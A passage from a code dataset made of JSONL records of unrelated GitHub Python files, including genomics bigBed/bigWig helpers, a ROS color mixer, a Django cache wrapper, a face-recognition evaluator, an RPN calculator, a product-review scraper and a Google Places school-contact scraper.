gzip.open(fn)\n else:\n f = open(fn)\n for line in f:\n if line.startswith('track'):\n continue\n if line.startswith('variableStep'):\n a, b, c = line.strip().split()\n prefix, chrom = b.split('=')\n if add_chr:\n chrom = 'chr' + chrom\n if chrom in to_ignore:\n continue\n fout.write(' '.join([a, prefix + '=' + chrom, c]) + '\\n')\n span = int(c.split('=')[1])\n continue\n pos, val = line.strip().split()\n if chrom in to_ignore:\n continue\n if (int(pos) + span) >= genome[chrom][1]:\n continue\n fout.write(line)\n return output\n\n\ndef colored_bigbed(x, color, genome, target, autosql=None, bedtype=None):\n \"\"\"\n if color is \"smart\", then use metaseq's smart colormap centered on zero.\n\n otherwise, use singlecolormap.\n\n assumes that you have scores in BedTool x; this will zero all scores in the\n final bigbed\n \"\"\"\n from pybedtools.featurefuncs import add_color\n norm = x.colormap_normalize()\n if color == 'smart':\n cmap = smart_colormap(norm.vmin, norm.vmax)\n else:\n cmap = singlecolormap(color)\n\n def func(f):\n f = add_color(f, cmap, norm)\n f.score = '0'\n return f\n\n x = x\\\n .sort()\\\n .each(func)\\\n .saveas()\n bigbed(x, genome=genome, output=target, _as=autosql, bedtype=bedtype)\n\n\ndef singlecolormap(color, func=None, n=64):\n \"\"\"\n Creates a linear colormap where `color` is the top, and func(color) is the\n bottom.\n\n `func` should take an RGB tuple as its only input. If `func` is None, then\n use a light gray as the min.\n\n `n` is the number of levels.\n \"\"\"\n if func is None:\n def func(x):\n return '0.9'\n\n import numpy as np\n import matplotlib\n rgb = np.array(matplotlib.colors.colorConverter.to_rgb(color))\n return matplotlib.colors.LinearSegmentedColormap.from_list(\n name='colormap',\n colors=[func(rgb), rgb],\n N=n,\n )\n\n\ndef colortuple(col):\n \"\"\"\n Given a color in any format supported by matplotlib, return\n a comma-separated string of R,G,B uint8 values.\n \"\"\"\n rgb = np.array(matplotlib.colors.colorConverter.to_rgb(col))\n rgb = [int(i * 255) for i in rgb]\n return ','.join(map(str, rgb))\n\n\ndef add_chr(f):\n \"\"\"\n Prepend \"chr\" to the beginning of chromosome names.\n\n Useful when passed to pybedtool.BedTool.each().\n \"\"\"\n f.chrom = 'chr' + f.chrom\n return f\n\n\ndef chromsizes(assembly):\n url = (\"http://hgdownload.cse.ucsc.edu/goldenPath/\"\n \"{0}/bigZips/{0}.chrom.sizes\")\n dest = tempfile.NamedTemporaryFile(delete=False).name + '.chromsizes'\n download(url.format(assembly), dest)\n return dest\n\n\ndef bigbed(filename, genome, output, blockSize=256, itemsPerSlot=512,\n bedtype=None, _as=None, unc=False, tab=False):\n \"\"\"\n Parameters\n ----------\n :filename:\n BED-like file to convert\n\n\n :genome:\n Assembly string (e.g., \"mm10\" or \"hg19\")\n\n :output:\n Path to bigBed file to create.\n\n Other args are passed to bedToBigBed. In particular, `bedtype` (which\n becomes the \"-type=\" argument) is automatically handled for you if it is\n kept as the default None.\n\n Assumes that a recent version of bedToBigBed from UCSC is on the path.\n \"\"\"\n if isinstance(filename, pybedtools.BedTool):\n filename = filename.fn\n x = pybedtools.BedTool(filename)\n chromsizes_file = chromsizes(genome)\n if bedtype is None:\n bedtype = 'bed%s' % x.field_count()\n cmds = [\n 'bedToBigBed',\n filename,\n chromsizes_file,\n output,\n '-blockSize=%s' % blockSize,\n '-itemsPerSlot=%s' % itemsPerSlot,\n '-type=%s' % bedtype\n ]\n if unc:\n cmds.append('-unc')\n if tab:\n cmds.append('-tab')\n if _as:\n cmds.append('-as=%s' % _as)\n try:\n p = subprocess.check_output(cmds, stderr=subprocess.STDOUT)\n except subprocess.CalledProcessError:\n os.system('mv {0} {0}.bak'.format(filename))\n raise\n return output\n\n\ndef bigwig(filename, genome, output, blockSize=256, itemsPerSlot=512,\n bedtype=None, _as=None, unc=False, tab=False):\n \"\"\"\n Parameters\n ----------\n :filename:\n BEDGRAPH-like file to convert\n\n :genome:\n Assembly string (e.g., \"mm10\" or \"hg19\")\n\n :output:\n Path to bigWig file to create.\n\n Other args are passed to bedGraphToBigWig.\n\n \"\"\"\n chromsizes_file = chromsizes(genome)\n cmds = [\n 'bedGraphToBigWig',\n filename,\n chromsizes_file,\n output,\n ]\n p = subprocess.check_output(cmds, stderr=subprocess.STDOUT)\n return output\n","repo_name":"daler/hubward","sub_path":"hubward/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14026,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"48"} +{"seq_id":"41289429798","text":"#! /usr/bin/env/ python2\n\nimport rospy\n\nclass ColorMixer(object):\n ''' Finds the color mix between two colors.\n color_0 and color_1 are chosen from:\n {'red', 'green', 'blue'}. '''\n def __init__(self, color_0, color_1):\n colors = ('red', 'green', 'blue')\n if not color_0 in colors or not color_1 in colors:\n rospy.logerr(\"Choose a color from ('red', 'green', 'blue')\")\n sys.exit()\n\n self._c0 = self.__determine_input(color_0)\n self._c1 = self.__determine_input(color_1)\n self.last_c = []\n\n def __determine_input(self, color):\n if color == 'red':\n return [255, 0, 0]\n elif color == 'green':\n return [0, 255, 0]\n elif color == 'blue':\n return [0, 0, 255]\n else:\n rospy.logerr(\"Choose a color from ('red', 'green', 'blue')\")\n sys.exit()\n\n def __check_mixing_value(self, val):\n if not (0 <= val <= 1):\n rospy.logerr(\"get_color value must be between [0-1]\")\n sys.exit()\n\n def get_color(self, val):\n ''' Input is a double on [0-1] where:\n 0 maps to c_0 = 255 and c_1 = 0,\n 1 maps to c_0 = 0 and c_1 = 255. '''\n self.__check_mixing_value(val)\n self.last_c = [val*(self._c1[j] - self._c0[j]) + self._c0[j] for j in range(3)]\n return self.last_c\n\n def get_color_norm(self, val):\n self.__check_mixing_value(val)\n self.last_c = [val*(self._c1[j] - self._c0[j]) + self._c0[j] for j in range(3)]\n self.last_c[:] = [x/255 for x in self.last_c]\n return self.last_c","repo_name":"u-t-autonomous/perception-planning-with-partial-semantics","sub_path":"src/color_mixer.py","file_name":"color_mixer.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8846211505","text":"import pickle\n\nfrom django.conf import settings\nfrom django.core.cache import caches\n\n\nclass CacheableWrapper:\n def __init__(self, client):\n self._client = client\n self._cache = caches[settings.GOOGLE_PLACES_WRAPPER_CACHE_NAME]\n\n def __getattr__(self, name):\n attr = getattr(self._client, name)\n is_callable = callable(attr)\n\n def handler(*args, **kwargs):\n cache_key = f\"{name}::{args}::{kwargs}\"\n cached_result = self._cache.get(cache_key)\n\n if cached_result:\n result = pickle.loads(cached_result)\n else:\n result = attr\n if is_callable:\n result = result(*args, **kwargs)\n pickled_object = pickle.dumps(result)\n self._cache.set(\n cache_key, pickled_object, settings.CACHING_TIME\n )\n\n return result\n\n return handler if is_callable else handler()\n","repo_name":"cryptster/django-google-places","sub_path":"places/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"646335613","text":"from utils import *\nfrom tqdm import tqdm\nfrom paddle import inference\nimport os, cv2\nimport numpy as np\nfrom PIL import ImageDraw, ImageFont, Image\nimport pickle\nfrom matplotlib import pyplot as plt\nimport glob\nIMAGE_TYPE = '.jpg'\n\n\nclass FaceEval:\n def __init__(self):\n self.threshold = 0.4\n self.mtcnn = MTCNN()\n self.face_eval = self.init_resnet50_predictor('../model/Backbone')\n self.face_db_path = 'FaceDatabase'\n self.face_data_path = 'face_data.fdb'\n self.face_db = self.load_face_data()\n self.mtcnn_input_scale = 0.4 # 缩放图片加快计算\n\n def update_face_data(self):\n '''\n 用于更新人脸数据库\n :return:\n '''\n face_db = {}\n assert os.path.exists(self.face_db_path), 'face_db_path {} not exist'.format(self.face_db_path)\n for path in tqdm(os.listdir(self.face_db_path)):\n name = os.path.basename(path).split('.')[0]\n image_path = os.path.join(self.face_db_path, path)\n # print(image_path)\n img = cv2.imdecode(np.fromfile(image_path, dtype=np.uint8), -1)\n imgs, _ = self.mtcnn.infer_image(img, img)\n if imgs is None or len(imgs) > 1:\n print('人脸库中的 %s 图片包含不是1张人脸,自动跳过该图片' % image_path)\n continue\n imgs = self.process(imgs)\n feature = self.infer(imgs)\n face_db[name] = feature[0]\n with open(self.face_data_path, \"wb\") as f:\n pickle.dump(face_db, f)\n print('finished faceDatabase transform!')\n return face_db\n\n def load_face_data(self):\n if not os.path.exists(self.face_data_path):\n print('face_data_path not exist!,try to get faceDatabase transform!')\n face_db = self.update_face_data()\n return face_db\n with open(self.face_data_path, \"rb\") as f:\n face_db = pickle.load(f)\n print('finished load face_data!')\n return face_db\n\n @staticmethod\n def process(imgs):\n imgs1 = []\n for img in imgs:\n img = img.transpose((2, 0, 1))\n img = (img - 127.5) / 127.5\n imgs1.append(img)\n if len(imgs1) > 1:\n imgs = np.array(imgs1).astype('float32')\n else:\n imgs = imgs1[0][np.newaxis, :].astype('float32')\n return imgs\n\n @staticmethod\n def init_resnet50_predictor(model_dir):\n model_file = model_dir + '.pdmodel'\n params_file = model_dir + '.pdiparams'\n config = inference.Config()\n config.set_prog_file(model_file)\n config.set_params_file(params_file)\n config.use_gpu()\n config.enable_use_gpu(500, 0)\n predictor = inference.create_predictor(config)\n return predictor\n\n def infer(self, imgs):\n '''\n 人脸对比\n :param img:\n :return:\n '''\n\n # 获取输入的名称\n input_names = self.face_eval.get_input_names()\n handle_image = self.face_eval.get_input_handle(input_names[0])\n # 设置输入\n input_img_size = imgs.shape\n handle_image.reshape([input_img_size[0], 3, input_img_size[2], input_img_size[3]])\n handle_image.copy_from_cpu(imgs)\n # 运行predictor\n self.face_eval.run()\n # 获取输出\n output_names = self.face_eval.get_output_names()\n features = self.face_eval.get_output_handle(output_names[0])\n features = features.copy_to_cpu() # numpy.ndarray类型\n #print (features[0])\n return features\n\n def recognition(self, img):\n orimg_shape = img.shape\n resize_img = cv2.resize(img, (int(orimg_shape[1] * self.mtcnn_input_scale), int(orimg_shape[0] * self.mtcnn_input_scale)))\n imgs, boxes = self.mtcnn.infer_image(resize_img, img, self.mtcnn_input_scale)\n if imgs is None:\n return None, None\n imgs = self.process(imgs)\n features = self.infer(imgs)\n names = []\n probs = []\n for i in range(len(features)):\n feature = features[i]\n results_dict = {}\n for name in self.face_db.keys():\n feature1 = self.face_db[name]\n prob = np.dot(feature, feature1) / (np.linalg.norm(feature) * np.linalg.norm(feature1))\n results_dict[name] = prob\n results = sorted(results_dict.items(), key=lambda d: d[1], reverse=True)\n result = results[0]\n prob = float(result[1])\n probs.append(prob)\n if prob > self.threshold:\n name = result[0]\n names.append(name)\n else:\n names.append('unknow')\n return boxes, names\n\n def add_text(self, img, text, left, top, color=(0, 0, 0), size=20):\n if isinstance(img, np.ndarray):\n img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n draw = ImageDraw.Draw(img)\n font = ImageFont.truetype('simsun.ttc', size)\n draw.text((left, top), text, color, font=font)\n return cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)\n\n # 画出人脸框和关键点\n def draw_face(self, img, boxes_c, names):\n if boxes_c is not None:\n for i in range(boxes_c.shape[0]):\n bbox = boxes_c[i, :4]\n name = names[i]\n corpbbox = [int(bbox[0]), int(bbox[1]), int(bbox[2]), int(bbox[3])]\n # 画人脸框\n cv2.rectangle(img, (corpbbox[0], corpbbox[1]),\n (corpbbox[2], corpbbox[3]), (255, 0, 0), 2)\n # 判别为人脸的名字\n # font = cv2.FONT_HERSHEY_SIMPLEX # 定义字体\n # img = cv2.putText(img, name, (corpbbox[0], corpbbox[1]), font, 0.5, (0, 255, 0), 1)\n img = self.add_text(img, name, corpbbox[0], corpbbox[1] + 25, color=(255, 255, 0), size=30)\n cv2.imshow(\"result\", img)\n cv2.waitKey(1)\n return img\n\n######### New for this project #########\n\nclass WCFaceEval(FaceEval):\n\n def __init__(self, data_root, model_root, probe_list, gallery_list):\n self.threshold = 0.3\n #self.mtcnn = MTCNN()\n self.mtcnn = None\n self.data_root = data_root\n self.face_eval = self.init_resnet50_predictor(model_root)\n self.probe_list = probe_list\n self.gallery_list = gallery_list\n self.gallery_data_path = 'gallery_data.fdb'\n self.gallery_db = self.load_gallery_data()\n self.mtcnn_input_scale = 1.0 # 缩放图片input_list加快计算 0.4\n\n def load_list_file(self, input_list):\n data = list()\n with open(input_list, 'r') as file:\n all_lines = file.readlines()\n for line in all_lines:\n image = line[-7:].rstrip()\n label = line[:-7].rstrip()\n data.append([label, image])\n return data\n \n\n def update_gallery_data(self):\n '''\n 用于更新 Gallery 人脸数据库\n :return:\n '''\n face_db = {}\n assert os.path.isfile(self.gallery_list), 'gallery data list file {} not exist'.format(self.gallery_list)\n \n gallery_data = self.load_list_file(self.gallery_list)\n \n for i in tqdm(range(len(gallery_data)), ncols=80):\n label = gallery_data[i][0]\n image_name = gallery_data[i][1]\n name = '%s+%s'%(label, image_name)\n \n gallery_images = glob.glob(os.path.join(self.data_root, label, 'P*.jpg'))\n if image_name[0] == 'C':\n gallery_images = glob.glob(os.path.join(self.data_root, label, 'C*.jpg'))\n for image_path in gallery_images:\n\n image_name = os.path.basename(image_path)[:-4]\n name = '%s+%s'%(label, image_name)\n #print ('face db key: ', name)\n #image_path = os.path.join(self.data_root, label, image_name + IMAGE_TYPE) \n #print('Loading gallery image: %s ...' % image_path)\n \n img = cv2.imread(image_path, cv2.IMREAD_COLOR)\n imgs = [img]\n \n imgs = self.process(imgs)\n feature = self.infer(imgs)\n face_db[name]= feature[0]\n\n with open(self.gallery_data_path, \"wb\") as f:\n pickle.dump(face_db, f)\n print('finished faceDatabase transform!')\n\n return face_db\n \n\n def load_gallery_data(self):\n if not os.path.exists(self.gallery_data_path):\n print('face_data_path not exist!,try to get faceDatabase transform!')\n face_db = self.update_gallery_data()\n return face_db\n with open(self.gallery_data_path, \"rb\") as f:\n face_db = pickle.load(f)\n print('finished load face_data!')\n return face_db\n \n def recognition(self, img):\n \n imgs = [img]\n imgs = self.process(imgs)\n features = self.infer(imgs)\n\n #print('len of features', len(features))\n\n names = []\n probs = []\n for i in range(len(features)):\n feature = features[i]\n #print ('feature: ', feature)\n results_dict = {}\n for name in self.gallery_db.keys():\n #print ('name', name)\n feature1 = self.gallery_db[name]\n prob = np.dot(feature, feature1) / (np.linalg.norm(feature) * np.linalg.norm(feature1))\n results_dict[name] = prob\n\n #diff = np.subtract(feature, feature1)\n #dist = np.sum(np.square(diff))\n #results_dict[name] = dist\n results = sorted(results_dict.items(), key=lambda d: d[1], reverse=True)\n #results = sorted(results_dict.items(), key=lambda d: d[1])\n\n\n #names = self.voting(results)\n #print ('res', results[:10])\n result = results[0]\n prob = float(result[1])\n probs.append(prob)\n if prob > self.threshold:\n name = result[0]\n names.append((name, prob))\n #else:\n #names.append(('unknow', prob))\n return names\n\n def voting(self, results):\n top = 10\n vote = dict()\n \n for res in results[:top]:\n name = res[0].split('+')[0]\n prob = res[1]\n\n if name in vote:\n vote[name][0] += 1\n if prob > vote[name][2]:\n vote[name][1] = res[0]\n vote[name][2] = prob\n else:\n vote[name] = [1, res[0], prob]\n\n results = sorted(vote.items(), key=lambda d: (d[1][0], d[1][2]), reverse=True)\n #print (results)\n return [(results[0][1][1], results[0][1][2])]\n\n def evaluate(self):\n #print ('######## Evaluating ########')\n probe_data = self.load_list_file(self.probe_list)\n correct_match = 0.0\n no_match = 0.0\n\n for i in tqdm(range(len(probe_data)),ncols=80):\n label = probe_data[i][0]\n image_name = probe_data[i][1]\n #name = '%s-%s'%(label, image_name)\n image_path = os.path.join(self.data_root, label, image_name + IMAGE_TYPE) \n #print('Evaluating probe image: %s ...' % image_path)\n\n #img = cv2.imdecode(np.fromfile(image_path, dtype=np.uint8), 1)\n img = cv2.imread(image_path, cv2.IMREAD_COLOR)\n names = self.recognition(img)\n\n if len(names) > 0:\n best_match = names[0][0]\n best_prob = names[0][1]\n #print ('Best Match is %s with the probability of %f ' % (best_match, best_prob))\n if best_match.split('+')[0] == label:\n correct_match += 1\n else:\n no_match += 1\n best_match = 'NaN'\n #print ('Cannot find the similar image in the gallery!')\n \n\n acc = correct_match / (len(probe_data) - no_match)\n\n print ('######## Evaluation Summary ########')\n print ('* Evaluated %d probe images in total.' % len(probe_data))\n print ('* %d probe images found matches in the gallery.' % (len(probe_data) - no_match))\n print ('* Among all matched probe images, %d images got matched correctly. The accuracy is %f.' % (correct_match, acc))\n print ('* %d images found no match in the gallery.' % no_match)\n \n def evaluate_image(self, image_path):\n\n print('Evaluating probe image: %s ...' % image_path)\n p_img = cv2.imdecode(np.fromfile(image_path, dtype=np.uint8), 1)\n names = self.recognition(p_img)\n \n #cv2.imshow(\"probe image\", img)\n #cv2.waitKey(1)\n #cv2.destroyAllWindows()\n #print (names)\n if len(names) > 0:\n best_match = names[0][0]\n best_prob = names[0][1]\n\n ax = plt.subplot(121)\n p_img = p_img[:, :, ::-1]\n plt.imshow(p_img)\n plt.axis('off')\n ax.set_title('Probe Image')\n \n ax = plt.subplot(122)\n res_label = best_match.split('+')[0]\n res_image = best_match.split('+')[1] \n res_path = os.path.join(self.data_root, res_label, res_image + IMAGE_TYPE)\n g_img = cv2.imdecode(np.fromfile(res_path, dtype=np.uint8), 1)\n\n g_img = g_img[:, :, ::-1]\n plt.imshow(g_img)\n plt.axis('off')\n ax.set_title('Best Match Image')\n plt.show()\n\n print ('Best Match is %s with the probability of %f ' % (best_match, best_prob))\n\n\n else:\n g_img = None\n print ('Cannot find the similar image in the gallery!')\n\n\n\nif __name__ == '__main__':\n test = FaceEval()\n test.update_face_data()\n cap = cv2.VideoCapture('test.mp4')\n ret = True\n while ret:\n ret, img = cap.read()\n if ret:\n boxes, names = test.recognition(img)\n print(names)\n img = test.draw_face(img, boxes, names)\n","repo_name":"dayimengxin/-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70544788625","text":"from InterfaceNotes import PersistenceManager, __str__\n\n\n# Класс сохранения заметки в файле notes.csv\nclass SaveCsv(PersistenceManager):\n def save_file(self):\n # Открытие файла и запись заметки\n file = open('notes.csv', 'a')\n file.write(str(self.id) + ';' + str(self.title) + ';' + str(self.description) + ';' + str(self.data_log) + '\\n')\n file.close()\n\n @staticmethod\n def read_file():\n # Считывание данных из файла\n with open('notes.csv', 'r') as file:\n print(file.read())\n","repo_name":"Asalferova/Notes_App","sub_path":"SaveCsv.py","file_name":"SaveCsv.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70037193426","text":"from launch import LaunchDescription\nfrom launch.actions import ExecuteProcess\nfrom launch_ros.actions import Node\n\nfrom ament_index_python.packages import get_package_share_directory\n\nfrom mpclab_common.mpclab_base_nodes import read_yaml_file\n\nimport pathlib, os\nfrom datetime import datetime\n\nexp_name = 'barc_sim_project'\n\nlaunch_files_dir = get_package_share_directory('barc_launch')\nconfig_dir = os.path.join(launch_files_dir, 'config', exp_name)\nrosbag_dir = '/project_data/' + exp_name + datetime.now().strftime('_%m-%d-%Y_%H-%M-%S')\n\nglobal_params_file = os.path.join(config_dir, 'global_params.yaml')\nglobal_params = read_yaml_file(global_params_file)\n\ndef generate_launch_description():\n return LaunchDescription([\n # BARC 1\n Node(\n package='mpclab_simulation',\n namespace='experiment/barc_1',\n executable='py_sim_dynamics_node.py',\n name='barc_1_simulator',\n parameters=[os.path.join(config_dir,'barc_1/vehicle_simulator.yaml')]+global_params\n ),\n Node(\n package='mpclab_simulation',\n namespace='experiment/barc_1',\n executable='py_sim_optitrack_node.py',\n name='barc_1_optitrack',\n parameters=[os.path.join(config_dir,'barc_1/optitrack_simulator.yaml')]+global_params\n ),\n\n Node(\n package='mpclab_estimation',\n namespace='experiment/barc_1',\n executable='py_optitrack_pass_through_estimator_node.py',\n name='barc_1_estimator',\n parameters=[os.path.join(config_dir,'barc_1/estimator.yaml')]+global_params\n ),\n Node(\n package='mpclab_controllers',\n namespace='experiment/barc_1',\n executable='py_project_node.py',\n name='barc_1_control'\n ),\n\n # Global\n Node(\n package='mpclab_visualizations',\n namespace='experiment',\n executable='py_vis_qt_node.py',\n name='visualizer',\n parameters=[os.path.join(config_dir,'visualization.yaml')]+global_params\n ),\n\n ExecuteProcess(\n cmd=['ros2', 'bag', 'record',\n '-o', rosbag_dir,\n '--qos-profile-overrides-path', os.path.join(config_dir, 'qos_settings.yaml'),\n '/experiment/barc_1/state_input_log',\n '/experiment/barc_1/est_state',\n '/experiment/barc_1/ecu',\n '/experiment/barc_1/pred',\n '/experiment/barc_1/ref']\n )\n ])\n","repo_name":"MPC-Berkeley/barc_lite","sub_path":"workspace/src/barc_launch/barc_launch/launch/barc_sim_project/barc_sim_project.launch.py","file_name":"barc_sim_project.launch.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"28368235376","text":"print(\"Enter an input to be evaluated in Reverse Polish Notation:\")\n\nRPNInput = []\n\nRPNOutput = []\n\nOpList = {'+':lambda x, y: y + x,'-':lambda x, y: y - x,'*':lambda x, y: y * x,'/':lambda x, y: y / x,'^':lambda x, y: y ** x}\n\nSubList = {\"clear\":\"0 * +\", \"negate\":\"-1 *\", \"invert\":\"-1 ^\"}\nCharSubList = {key[0]:value for (key,value) in SubList.items()}\n\nwhile True:\n if RPNInput == []:\n if RPNOutput != []:\n print(RPNOutput[-1])\n [RPNInput.append(j) for j in input(\"> \").split()]\n else:\n i = RPNInput.pop(0).lower()\n try:\n RPNOutput.append(float(i))\n except:\n if i == \"print\" or i == \"p\":\n print(RPNOutput)\n elif i == \"exit\" or i == \"x\":\n break\n elif i == \"sqrt\":\n approx = 1\n val = RPNOutput.pop()\n while abs(approx**2 - val) > 10**-15:\n approx = (approx + val/approx)/2\n RPNOutput.append(approx)\n elif i in OpList:\n RPNOutput.append(OpList[i](RPNOutput.pop(),RPNOutput.pop()))\n elif i in SubList:\n [RPNInput.insert(0, j) for j in SubList[i].split()[::-1]]\n elif i in CharSubList:\n [RPNInput.insert(0, j) for j in CharSubList[i].split()[::-1]]\n","repo_name":"JStocke12/RPN","sub_path":"RPN.py","file_name":"RPN.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"185514254","text":"import scrapy\nfrom scrapy.spiders import CrawlSpider\nfrom scrapy import Request, FormRequest, Selector\nfrom scrapy.loader import ItemLoader\nfrom .protein_bars_item import ProteinBarsItem\n\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions \\\n import TimeoutException, \\\n NoSuchElementException, \\\n ElementClickInterceptedException, \\\n ElementNotInteractableException\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nimport json\nimport time\nfrom termcolor import colored\n\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\")\n\n\nclass MusclePharmSpider(CrawlSpider):\n name = 'musclepharm'\n\n def __init__(self, *args, **kwargs):\n super(MusclePharmSpider, self).__init__(*args, **kwargs)\n self.url = 'https://musclepharm.com/collections/protein/products/combat-crunch-1?variant=37547061770'\n self.browser = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)\n self.review_string_arr = []\n\n def start_requests(self):\n lists = []\n\n if not self.url:\n return None\n else:\n lists.append(Request(self.url, callback=self.parse_item))\n\n return lists\n\n def parse_item(self, response):\n\n self.crawl_reviews()\n\n lists = []\n variants = response.xpath(\n '//select[@id=\"product-select-10077302986productproduct-template\"]/option/text()').getall()\n for variant in variants:\n item = ItemLoader(ProteinBarsItem(), response)\n sold_out = response.xpath(\n '//*[@id=\"shopify-section-product-template\"]/div[1]/div[2]/div[1]/div/div[3]/p/span[1]/text()').get()\n item.add_value('brand', 'Muscle Pharm')\n item.add_value('calories', '210')\n item.add_xpath('description',\n '//*[@id=\"shopify-section-product-template\"]/div[1]/div[2]/div[1]/div/div[3]/div[2]/p/span')\n item.add_xpath('description',\n '//*[@id=\"shopify-section-product-template\"]/div[1]/div[2]/div[1]/div/div[3]/div[2]/p/span')\n item.add_xpath('images', \"//meta[@property='og:image']/@content\")\n item.add_value('name', f\"COMBAT CRUNCH PROTEIN BARS {variant}\")\n item.add_xpath('price',\n '//*[@id=\"shopify-section-product-template\"]/div[1]/div[2]/div[1]/div/div[3]/p/span[2]/span/span/text()')\n item.add_value('protein', '20g')\n item.add_value('available', 'yes' if sold_out is None else 'no')\n item.add_value('reviews', json.dumps(self.review_string_arr))\n lists.append(item.load_item())\n\n return lists\n\n def crawl_reviews(self):\n print(colored('crawling reviews', 'yellow'))\n self.browser.get(self.url)\n\n cc_compliance = WebDriverWait(self.browser, 120).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME, 'cc-compliance')))\n\n modal = WebDriverWait(self.browser, 120).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME, 'animation__AnimatedModal-sc-1umet7i-0')))\n\n modal[0].find_element_by_css_selector(\"button.needsclick\").click()\n time.sleep(3)\n cc_compliance[0].click()\n\n WebDriverWait(self.browser, 60).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME, 'opw-paginator-li')))\n pages_array = ['1', '2', '3', '4', '5']\n for i in range(7):\n pages = WebDriverWait(self.browser, 60).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME, 'opw-paginator-li')))\n anchor = pages[i].find_element_by_css_selector('a.opw-paginator-a')\n if anchor.text in pages_array:\n next_page_anchor = pages[i].find_element_by_css_selector('a.opw-paginator-a')\n try:\n next_page_anchor.click()\n except ElementClickInterceptedException:\n time.sleep(10)\n time.sleep(10)\n review_card_containers = WebDriverWait(self.browser, 60).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME, 'review-card-container')))\n for rcc in review_card_containers:\n name = rcc.find_element_by_css_selector(\".review-author\")\n body = rcc.find_element_by_css_selector(\"div.opinew-review-text-container, p\")\n class_attrib = rcc.find_elements_by_css_selector(\n f\"div.opinew-review-card-upper span i.opw-noci-star-full\")\n\n review_contents = {\n 'name': name.text,\n 'body': body.text,\n 'stars': len(class_attrib),\n 'title': '',\n }\n\n self.review_string_arr.append(review_contents)","repo_name":"remarcbalisi/hennessey-digital-spiders","sub_path":"musclepharm.py","file_name":"musclepharm.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5231265617","text":"import sys\r\nimport os\r\nimport openpyxl\r\nimport pandas as pd\r\nimport requests\r\nfrom googleplaces import GooglePlaces, types\r\nfrom openpyxl import load_workbook\r\n\r\n# ===================================================================#\r\n# CHANGE HERE #\r\n# ===================================================================#\r\nkeyword = \"high school\" # keyword to be searched\r\nlocation = sys.argv[1]\r\nresult_type = types.TYPE_SCHOOL\r\nsheet_name = location # Name of the sheet in excel file, sheet_name=location is default\r\n\r\n# ============= DO NOT MODIFY ANYTHING BELOW THIS ====================\r\nAPI_KEY = 'YOUR API KEY HERE' # your API key\r\nradius = 20000 # radius in meters\r\ngoogle_places = GooglePlaces(API_KEY)\r\n\r\nnames_list = list()\r\nwebsites_list = list()\r\nphone_numbers_list = list()\r\n\r\ni = 0\r\nnext_page_token = ''\r\nfor i in range(0, 3):\r\n if next_page_token == '':\r\n query_result = google_places.nearby_search(\r\n location=location, keyword=keyword,\r\n radius=radius, types=[result_type])\r\n else:\r\n query_result = google_places.nearby_search(\r\n location=location, keyword=keyword,\r\n radius=radius, types=[result_type], pagetoken=next_page_token)\r\n\r\n # for each result of nearby search, extract place ID and get place details(which will contain the website)\r\n for result in query_result.raw_response['results']:\r\n parameters = {\"key\": API_KEY, \"placeid\": result['place_id']} # extracting place ID\r\n response = requests.get(\"https://maps.googleapis.com/maps/api/place/details/json\",\r\n params=parameters) # getting place details\r\n try:\r\n name = website = phone_number = ''\r\n if 'name' in response.json()['result'].keys():\r\n name = response.json()['result']['name']\r\n if 'website' in response.json()['result'].keys():\r\n website = '=HYPERLINK(\"' + response.json()['result']['website'] + '\")'\r\n if 'formatted_phone_number' in response.json()['result'].keys():\r\n phone_number = response.json()['result']['formatted_phone_number']\r\n finally:\r\n names_list.append(name)\r\n websites_list.append(website)\r\n phone_numbers_list.append(phone_number)\r\n # time.sleep(1) # time delay between consecutive API calls\r\n\r\n if 'next_page_token' in query_result.raw_response.keys():\r\n next_page_token = query_result.raw_response['next_page_token']\r\n else:\r\n next_page_token = ''\r\n i = i + 1\r\n\r\nprint(names_list)\r\nprint(websites_list)\r\nprint(phone_numbers_list)\r\n\r\ndataframe = pd.DataFrame() # create pandas data frame\r\ndataframe['Name'] = names_list\r\ndataframe['Website'] = websites_list\r\ndataframe['Phone'] = phone_numbers_list\r\n\r\n# creating excel file if does not exist\r\nif not os.path.isfile('data.xlsx'):\r\n print(\"FILE NOT FOUND...CREATING ONE\")\r\n wb = openpyxl.Workbook()\r\n wb.save('data.xlsx')\r\n\r\n# Writing to excel sheet\r\nexcel_writer = pd.ExcelWriter(\"data.xlsx\") # write to excel sheet\r\nbook = load_workbook(\"data.xlsx\")\r\nexcel_writer.book = book\r\ndataframe.to_excel(excel_writer, sheet_name=location, index=False)\r\nexcel_writer.save()\r\nexcel_writer.close()\r\n\r\n# Removing the default sheet if it exists\r\nwb = load_workbook('data.xlsx')\r\nif 'Sheet' in wb.sheetnames:\r\n 